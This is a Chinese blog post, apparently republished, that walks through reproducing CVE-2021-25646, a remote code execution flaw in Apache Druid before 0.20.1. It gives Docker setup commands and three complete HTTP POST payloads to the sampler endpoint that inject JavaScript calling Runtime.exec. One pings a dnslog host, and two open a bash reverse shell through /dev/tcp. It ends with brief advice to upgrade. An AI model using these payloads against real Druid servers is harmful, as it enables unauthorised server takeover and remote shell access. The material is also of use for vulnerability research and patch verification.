本篇文章给大家分享的是有关Apache Druid 命令执行漏洞CVE-2021-25646该如何复现,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
Apache Druid 命令执行漏洞(CVE-2021-25646)
一、漏洞描述
Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。
二、影响版本
Apache Druid < 0.20.1
三、漏洞环境&漏洞复现
Docker环境:
dockerpull fokkodriesprong/docker-druid dockerrun --rm -i -p 8888:8888 fokkodriesprong/docker-druid
启动访问:
漏洞复现:
POC:
POST /druid/indexer/v1/sampler HTTP/1.1 Host: ip:prot User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: application/json Content-Length: 1045 Connection: close {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{/"isRobot/":true,/"channel/":/"#x/",/"timestamp/":/"2020-12-12T12:10:21.040Z/",/"flags/":/"x/",/"isUnpatrolled/":false,/"page/":/"1/",/"diffUrl/":/"https://xxx.com/",/"added/":1,/"comment/":/"Botskapande Indonesien omdirigering/",/"commentLength/":35,/"isNew/":true,/"isMinor/":false,/"delta/":31,/"isAnonymous/":true,/"user/":/"Lsjbot/",/"deltaBucket/":0,/"deleted/":0,/"namespace/":/"Main/"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
1、DNSlog:
DNS记录:
具体数据包:
POST /druid/indexer/v1/sampler HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: application/json Content-Length: 1018 Connection: close {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{/"isRobot/":true,/"channel/":/"#x/",/"timestamp/":/"2020-12-12T12:10:21.040Z/",/"flags/":/"x/",/"isUnpatrolled/":false,/"page/":/"1/",/"diffUrl/":/"https://xxx.com/",/"added/":1,/"comment/":/"Botskapande Indonesien omdirigering/",/"commentLength/":35,/"isNew/":true,/"isMinor/":false,/"delta/":31,/"isAnonymous/":true,/"user/":/"Lsjbot/",/"deltaBucket/":0,/"deleted/":0,/"namespace/":/"Main/"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 ping gpg7qd.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
2、反弹shell操作
具体数据包:
POST /druid/indexer/v1/sampler HTTP/1.1 Host: ip:prot User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: application/json Content-Length: 1045 Connection: close {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{/"isRobot/":true,/"channel/":/"#x/",/"timestamp/":/"2020-12-12T12:10:21.040Z/",/"flags/":/"x/",/"isUnpatrolled/":false,/"page/":/"1/",/"diffUrl/":/"https://xxx.com/",/"added/":1,/"comment/":/"Botskapande Indonesien omdirigering/",/"commentLength/":35,/"isNew/":true,/"isMinor/":false,/"delta/":31,/"isAnonymous/":true,/"user/":/"Lsjbot/",/"deltaBucket/":0,/"deleted/":0,/"namespace/":/"Main/"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
简单的反弹脚本:
四、安全建议
建议广大用户及时更新Apache Druid,下载链接为:
https://druid.apache.org/downloads.html
https://github.com/apache/druid/releases/tag/druid-0.20.1
以上就是Apache Druid 命令执行漏洞CVE-2021-25646该如何复现,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。
原创文章,作者:kepupublish,如若转载,请注明出处:https://blog.ytso.com/220336.html